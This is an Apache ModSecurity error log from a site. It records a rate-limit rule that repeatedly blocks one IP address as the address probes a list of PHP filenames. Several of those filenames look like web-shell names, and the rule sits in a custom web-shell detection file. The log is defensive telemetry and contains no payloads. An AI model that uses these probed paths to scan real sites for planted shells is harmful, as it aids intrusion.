[Wed Feb 04 01:37:43.166380 2026] [:error] [pid 5229:tid 5249] [client 52.243.58.155:47522] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aYIyZ0KmEgmJub93yUpnHQAAAZI"]
[Wed Feb 04 01:37:44.894606 2026] [:error] [pid 5229:tid 5248] [client 52.243.58.155:25220] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aYIyaEKmEgmJub93yUpnJAAAAZE"]
[Wed Feb 04 01:37:46.358734 2026] [:error] [pid 42922:tid 42990] [client 52.243.58.155:25257] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aYIyamazX4WPS_dQRkjuDQAAAIU"]
[Wed Feb 04 01:37:47.026798 2026] [:error] [pid 42921:tid 42970] [client 52.243.58.155:33983] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aYIya4blShffGl-01ofMJAAAAEw"]
[Wed Feb 04 01:37:47.764629 2026] [:error] [pid 28720:tid 28736] [client 52.243.58.155:24812] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aYIya2mRXm2bmr_sYiYmUQAAAQ4"]
[Wed Feb 04 01:37:48.897684 2026] [:error] [pid 43028:tid 43038] [client 52.243.58.155:23790] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aYIybFnHWnJD4cJC5DsmFQAAAMg"]
[Wed Feb 04 01:37:50.287893 2026] [:error] [pid 42922:tid 42992] [client 52.243.58.155:25240] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aYIybmazX4WPS_dQRkjuEwAAAIc"]
[Wed Feb 04 01:37:51.477230 2026] [:error] [pid 42920:tid 42931] [client 52.243.58.155:24813] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aYIybyix3YKltG4EU0nV1gAAAAI"]
[Wed Feb 04 01:37:52.584097 2026] [:error] [pid 5148:tid 5175] [client 52.243.58.155:24806] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aYIycL83HCHLtUIbS7JDggAAAVg"]
[Wed Feb 04 01:37:53.382480 2026] [:error] [pid 5229:tid 5240] [client 52.243.58.155:47544] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aYIycUKmEgmJub93yUpnKwAAAYk"]
[Wed Feb 04 01:37:54.252457 2026] [:error] [pid 5148:tid 5155] [client 52.243.58.155:24732] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aYIycr83HCHLtUIbS7JDgwAAAUQ"]
[Wed Feb 04 01:37:55.279828 2026] [:error] [pid 5148:tid 5154] [client 52.243.58.155:33965] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aYIyc783HCHLtUIbS7JDhgAAAUM"]
[Wed Feb 04 01:37:56.241277 2026] [:error] [pid 42920:tid 42936] [client 52.243.58.155:46753] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aYIydCix3YKltG4EU0nV2gAAAAc"]
[Wed Feb 04 01:37:57.235728 2026] [:error] [pid 42922:tid 42990] [client 52.243.58.155:24794] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aYIydWazX4WPS_dQRkjuGAAAAIU"]
[Wed Feb 04 01:37:57.925282 2026] [:error] [pid 42922:tid 42991] [client 52.243.58.155:24714] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aYIydWazX4WPS_dQRkjuGgAAAIY"]
[Wed Feb 04 01:37:58.360674 2026] [:error] [pid 42921:tid 42970] [client 52.243.58.155:23787] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aYIydoblShffGl-01ofMLQAAAEw"]
[Wed Feb 04 01:37:59.632270 2026] [:error] [pid 42920:tid 42950] [client 52.243.58.155:29849] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aYIydyix3YKltG4EU0nV4AAAABU"]
[Wed Feb 04 01:38:00.737247 2026] [:error] [pid 43028:tid 43050] [client 52.243.58.155:24755] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aYIyeFnHWnJD4cJC5DsmNQAAANQ"]
[Wed Feb 04 01:38:01.231895 2026] [:error] [pid 42920:tid 42931] [client 52.243.58.155:23778] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aYIyeSix3YKltG4EU0nV4wAAAAI"]
[Wed Feb 04 01:38:02.018388 2026] [:error] [pid 28720:tid 28742] [client 52.243.58.155:29402] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aYIyemmRXm2bmr_sYiYmYgAAARQ"]
[Wed Feb 04 01:38:03.520193 2026] [:error] [pid 43028:tid 43040] [client 52.243.58.155:46762] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aYIye1nHWnJD4cJC5DsmPQAAAMo"]
[Wed Feb 04 01:38:05.783075 2026] [:error] [pid 5148:tid 5154] [client 52.243.58.155:46742] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aYIyfb83HCHLtUIbS7JDlAAAAUM"]
[Wed Feb 04 01:38:07.982644 2026] [:error] [pid 5229:tid 5248] [client 52.243.58.155:29878] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aYIyf0KmEgmJub93yUpnOgAAAZE"]
[Wed Feb 04 01:38:10.219695 2026] [:error] [pid 5229:tid 5238] [client 52.243.58.155:29840] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aYIygkKmEgmJub93yUpnQQAAAYc"]
[Wed Feb 04 01:38:11.147595 2026] [:error] [pid 43028:tid 43041] [client 52.243.58.155:26847] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aYIyg1nHWnJD4cJC5DsmTAAAAMs"]
[Wed Feb 04 01:38:12.014526 2026] [:error] [pid 28720:tid 28736] [client 52.243.58.155:22122] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aYIyhGmRXm2bmr_sYiYmaQAAAQ4"]
[Wed Feb 04 01:38:13.458305 2026] [:error] [pid 5229:tid 5249] [client 52.243.58.155:37576] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aYIyhUKmEgmJub93yUpnRQAAAZI"]
[Wed Feb 04 01:38:15.297907 2026] [:error] [pid 42921:tid 42963] [client 52.243.58.155:22083] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aYIyh4blShffGl-01ofMQAAAAEU"]
[Wed Feb 04 01:38:17.004355 2026] [:error] [pid 5229:tid 5251] [client 52.243.58.155:29431] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aYIyiUKmEgmJub93yUpnTwAAAZQ"]
[Wed Feb 04 01:38:18.220236 2026] [:error] [pid 42920:tid 42943] [client 52.243.58.155:37587] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aYIyiiix3YKltG4EU0nV8QAAAA4"]
[Wed Feb 04 01:38:19.179929 2026] [:error] [pid 43028:tid 43036] [client 52.243.58.155:29384] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aYIyi1nHWnJD4cJC5DsmUwAAAMY"]
[Wed Feb 04 01:38:20.161761 2026] [:error] [pid 42922:tid 42997] [client 52.243.58.155:26824] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aYIyjGazX4WPS_dQRkjuNwAAAIw"]
[Wed Feb 04 01:38:21.632759 2026] [:error] [pid 5148:tid 5166] [client 52.243.58.155:47554] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aYIyjb83HCHLtUIbS7JDoQAAAU8"]
[Wed Feb 04 01:38:22.920172 2026] [:error] [pid 43028:tid 43033] [client 52.243.58.155:29870] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aYIyjlnHWnJD4cJC5DsmWQAAAMM"]
[Wed Feb 04 01:38:24.375443 2026] [:error] [pid 43028:tid 43038] [client 52.243.58.155:47424] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aYIykFnHWnJD4cJC5DsmXQAAAMg"]
[Wed Feb 04 01:38:25.656645 2026] [:error] [pid 5148:tid 5154] [client 52.243.58.155:22109] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aYIykb83HCHLtUIbS7JDpgAAAUM"]
[Wed Feb 04 01:38:26.847301 2026] [:error] [pid 42920:tid 42947] [client 52.243.58.155:1298] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aYIykiix3YKltG4EU0nV_AAAABI"]
[Wed Feb 04 01:38:28.743986 2026] [:error] [pid 5148:tid 5170] [client 52.243.58.155:47476] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aYIylL83HCHLtUIbS7JDqwAAAVM"]
[Wed Feb 04 01:38:29.594856 2026] [:error] [pid 42921:tid 42965] [client 52.243.58.155:47484] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aYIylYblShffGl-01ofMTwAAAEc"]
[Wed Feb 04 01:38:30.672310 2026] [:error] [pid 5229:tid 5248] [client 52.243.58.155:29418] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aYIylkKmEgmJub93yUpnXQAAAZE"]
[Wed Feb 04 01:38:31.397209 2026] [:error] [pid 28720:tid 28746] [client 52.243.58.155:32843] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aYIyl2mRXm2bmr_sYiYmewAAARg"]
[Wed Feb 04 01:38:33.438938 2026] [:error] [pid 5229:tid 5245] [client 52.243.58.155:26871] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aYIymUKmEgmJub93yUpnaAAAAY4"]
[Wed Feb 04 01:38:34.865197 2026] [:error] [pid 5229:tid 5232] [client 52.243.58.155:28377] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aYIymkKmEgmJub93yUpnbgAAAYE"]
[Wed Feb 04 01:39:20.804693 2026] [:error] [pid 42921:tid 42958] [client 52.243.58.155:28392] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aYIyyIblShffGl-01ofMnwAAAEA"]
[Wed Feb 04 01:39:21.364230 2026] [:error] [pid 42922:tid 42999] [client 52.243.58.155:33116] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aYIyyWazX4WPS_dQRkjuaQAAAI4"]
[Wed Feb 04 01:39:22.219396 2026] [:error] [pid 43028:tid 43046] [client 52.243.58.155:33478] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aYIyylnHWnJD4cJC5DsmuAAAANA"]
[Wed Feb 04 01:39:23.601789 2026] [:error] [pid 5148:tid 5160] [client 52.243.58.155:33534] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aYIyy783HCHLtUIbS7JD5gAAAUk"]
[Wed Feb 04 01:39:24.505924 2026] [:error] [pid 5229:tid 5235] [client 52.243.58.155:33100] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aYIyzEKmEgmJub93yUpnpwAAAYQ"]
[Wed Feb 04 01:39:26.318190 2026] [:error] [pid 42920:tid 42949] [client 52.243.58.155:23004] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aYIyziix3YKltG4EU0nWOgAAABQ"]
[Wed Feb 04 01:39:27.395710 2026] [:error] [pid 42922:tid 43006] [client 52.243.58.155:33513] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aYIyz2azX4WPS_dQRkjucAAAAJU"]
[Wed Feb 04 01:39:29.310262 2026] [:error] [pid 28720:tid 28726] [client 52.243.58.155:21718] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aYIy0WmRXm2bmr_sYiYmxQAAAQQ"]
[Wed Feb 04 01:39:31.827542 2026] [:error] [pid 42920:tid 42940] [client 52.243.58.155:22931] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aYIy0yix3YKltG4EU0nWPAAAAAs"]
[Wed Feb 04 01:39:33.607713 2026] [:error] [pid 43028:tid 43034] [client 52.243.58.155:1602] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aYIy1VnHWnJD4cJC5DsmyQAAAMQ"]
[Wed Feb 04 01:39:36.318155 2026] [:error] [pid 42921:tid 42973] [client 52.243.58.155:1499] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aYIy2IblShffGl-01ofMugAAAE8"]
[Wed Feb 04 01:39:37.832131 2026] [:error] [pid 42922:tid 43005] [client 52.243.58.155:1616] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aYIy2WazX4WPS_dQRkjuiAAAAJQ"]
[Wed Feb 04 01:39:39.147164 2026] [:error] [pid 5148:tid 5168] [client 52.243.58.155:1512] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aYIy2783HCHLtUIbS7JEFAAAAVE"]
[Wed Feb 04 01:39:40.214469 2026] [:error] [pid 5148:tid 5157] [client 52.243.58.155:33117] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aYIy3L83HCHLtUIbS7JEFwAAAUY"]
